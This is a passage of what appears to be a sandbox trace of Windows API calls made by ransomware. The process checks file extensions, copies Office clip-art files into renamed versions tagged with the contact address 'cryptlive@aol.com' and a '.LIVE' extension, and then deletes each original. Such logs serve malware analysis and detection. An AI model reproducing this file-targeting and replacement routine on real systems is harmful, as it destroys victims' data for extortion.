(lpString1=".doc", lpString2=".WMF") returned -1 [0140.200] lstrlenW (lpString=".docx") returned 5 [0140.200] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.200] lstrlenW (lpString=".pdf") returned 4 [0140.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.200] lstrlenW (lpString=".xls") returned 4 [0140.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.200] lstrlenW (lpString=".xlsx") returned 5 [0140.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.200] lstrlenW (lpString=".ppt") returned 4 [0140.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0140.200] lstrlenW (lpString=".zip") returned 4 [0140.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.200] lstrlenW (lpString=".rar") returned 4 [0140.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.200] lstrlenW (lpString=".bz2") returned 4 [0140.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.200] lstrlenW (lpString=".7z") returned 3 [0140.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0140.200] lstrlenW (lpString=".dbf") returned 4 [0140.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0140.200] lstrlenW (lpString=".1cd") returned 4 [0140.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0140.200] lstrlenW (lpString=".jpg") returned 4 [0140.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0140.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0140.201] lstrlenW (lpString=".doc") returned 4 [0140.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.201] lstrlenW (lpString=".docx") returned 5 [0140.201] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.201] lstrlenW (lpString=".pdf") returned 4 [0140.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.201] lstrlenW (lpString=".xls") returned 4 [0140.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.201] lstrlenW (lpString=".xlsx") returned 5 [0140.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.201] lstrlenW (lpString=".ppt") returned 4 [0140.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0140.201] lstrlenW (lpString=".zip") returned 4 [0140.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.201] lstrlenW (lpString=".rar") returned 4 [0140.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.201] lstrlenW (lpString=".bz2") returned 4 [0140.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.201] lstrlenW (lpString=".7z") returned 3 [0140.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0140.201] lstrlenW (lpString=".dbf") returned 4 [0140.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0140.201] lstrlenW (lpString=".1cd") returned 4 [0140.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0140.201] lstrlenW (lpString=".jpg") returned 4 [0140.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.201] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.201] lstrlenW (lpString="BS01080_.WMF") returned 12 [0140.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.202] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2732) returned 1 [0140.202] CloseHandle (hObject=0x3b0) returned 1 [0140.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20 [0140.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.203] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.203] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.203] GetLastError () returned 0x0 [0140.203] ReadFile (in: hFile=0x3b0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xaac, lpOverlapped=0x0) returned 1 [0140.207] WriteFile (in: hFile=0x390, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xab0, lpOverlapped=0x0) returned 1 [0140.208] ReadFile (in: hFile=0x3b0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.208] WriteFile (in: hFile=0x390, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.208] SetEndOfFile (hFile=0x390) returned 1 [0140.208] CloseHandle (hObject=0x390) returned 1 [0140.209] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.209] SetEndOfFile (hFile=0x3b0) returned 1 [0140.211] CloseHandle (hObject=0x3b0) returned 1 [0140.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0140.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0140.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0140.212] lstrlenW (lpString=".doc") returned 4 [0140.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.212] lstrlenW (lpString=".docx") returned 5 [0140.212] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.212] lstrlenW (lpString=".pdf") returned 4 [0140.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.212] lstrlenW (lpString=".xls") returned 4 [0140.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.212] lstrlenW (lpString=".xlsx") returned 5 [0140.212] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.212] lstrlenW (lpString=".ppt") returned 4 [0140.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0140.212] lstrlenW (lpString=".zip") returned 4 [0140.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.212] lstrlenW (lpString=".rar") returned 4 [0140.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.212] lstrlenW (lpString=".bz2") returned 4 [0140.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.212] lstrlenW (lpString=".7z") returned 3 [0140.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0140.212] lstrlenW (lpString=".dbf") returned 4 [0140.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0140.212] lstrlenW (lpString=".1cd") returned 4 [0140.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0140.212] lstrlenW (lpString=".jpg") returned 4 [0140.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0140.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0140.213] lstrlenW (lpString=".doc") returned 4 [0140.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.213] lstrlenW (lpString=".docx") returned 5 [0140.213] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.213] lstrlenW (lpString=".pdf") returned 4 [0140.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.213] lstrlenW (lpString=".xls") returned 4 [0140.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.213] lstrlenW (lpString=".xlsx") returned 5 [0140.213] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.213] lstrlenW (lpString=".ppt") returned 4 [0140.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0140.213] lstrlenW (lpString=".zip") returned 4 [0140.213] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.213] lstrlenW (lpString=".rar") returned 4 [0140.213] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.213] lstrlenW (lpString=".bz2") returned 4 [0140.213] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.213] lstrlenW (lpString=".7z") returned 3 [0140.213] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0140.213] lstrlenW (lpString=".dbf") returned 4 [0140.213] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0140.213] lstrlenW (lpString=".1cd") returned 4 [0140.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0140.213] lstrlenW (lpString=".jpg") returned 4 [0140.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.214] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.214] lstrlenW (lpString="BS01603_.WMF") returned 12 [0140.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.859] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7176) returned 1 [0140.860] CloseHandle (hObject=0x390) returned 1 [0140.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x20 [0140.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.860] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.860] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0140.861] GetLastError () returned 0x0 [0140.861] ReadFile (in: hFile=0x390, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1c08, lpOverlapped=0x0) returned 1 [0140.862] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0140.865] ReadFile (in: hFile=0x390, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.865] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.865] SetEndOfFile (hFile=0x38c) returned 1 [0140.866] CloseHandle (hObject=0x38c) returned 1 [0140.866] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.866] SetEndOfFile (hFile=0x390) returned 1 [0140.868] CloseHandle (hObject=0x390) returned 1 [0140.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0140.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0140.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0140.870] lstrlenW (lpString=".doc") returned 4 [0140.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.870] lstrlenW (lpString=".docx") returned 5 [0140.870] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.870] lstrlenW (lpString=".pdf") returned 4 [0140.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.870] lstrlenW (lpString=".xls") returned 4 [0140.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.870] lstrlenW (lpString=".xlsx") returned 5 [0140.870] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.870] lstrlenW (lpString=".ppt") returned 4 [0140.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0140.870] lstrlenW (lpString=".zip") returned 4 [0140.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.870] lstrlenW (lpString=".rar") returned 4 [0140.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.870] lstrlenW (lpString=".bz2") returned 4 [0140.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.870] lstrlenW (lpString=".7z") returned 3 [0140.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0140.870] lstrlenW (lpString=".dbf") returned 4 [0140.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0140.870] lstrlenW (lpString=".1cd") returned 4 [0140.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0140.870] lstrlenW (lpString=".jpg") returned 4 [0140.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0140.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0140.870] lstrlenW (lpString=".doc") returned 4 [0140.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.871] lstrlenW (lpString=".docx") returned 5 [0140.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.871] lstrlenW (lpString=".pdf") returned 4 [0140.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.871] lstrlenW (lpString=".xls") returned 4 [0140.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.871] lstrlenW (lpString=".xlsx") returned 5 [0140.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.871] lstrlenW (lpString=".ppt") returned 4 [0140.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0140.871] lstrlenW (lpString=".zip") returned 4 [0140.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.871] lstrlenW (lpString=".rar") returned 4 [0140.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.871] lstrlenW (lpString=".bz2") returned 4 [0140.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.871] lstrlenW (lpString=".7z") returned 3 [0140.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0140.871] lstrlenW (lpString=".dbf") returned 4 [0140.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0140.871] lstrlenW (lpString=".1cd") returned 4 [0140.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0140.871] lstrlenW (lpString=".jpg") returned 4 [0140.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.871] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.871] lstrlenW (lpString="DD00297_.WMF") returned 12 [0140.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.872] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=40030) returned 1 [0140.872] CloseHandle (hObject=0x390) returned 1 [0140.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x20 [0140.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.872] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.872] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0140.873] GetLastError () returned 0x0 [0140.873] ReadFile (in: hFile=0x390, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x9c5e, lpOverlapped=0x0) returned 1 [0140.875] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x9c60, lpOverlapped=0x0) returned 1 [0140.876] ReadFile (in: hFile=0x390, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.877] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.877] SetEndOfFile (hFile=0x38c) returned 1 [0140.877] CloseHandle (hObject=0x38c) returned 1 [0140.877] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.877] SetEndOfFile (hFile=0x390) returned 1 [0140.880] CloseHandle (hObject=0x390) returned 1 [0140.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0140.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0140.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0140.881] lstrlenW (lpString=".doc") returned 4 [0140.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.881] lstrlenW (lpString=".docx") returned 5 [0140.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.881] lstrlenW (lpString=".pdf") returned 4 [0140.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.881] lstrlenW (lpString=".xls") returned 4 [0140.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.881] lstrlenW (lpString=".xlsx") returned 5 [0140.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.881] lstrlenW (lpString=".ppt") returned 4 [0140.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") 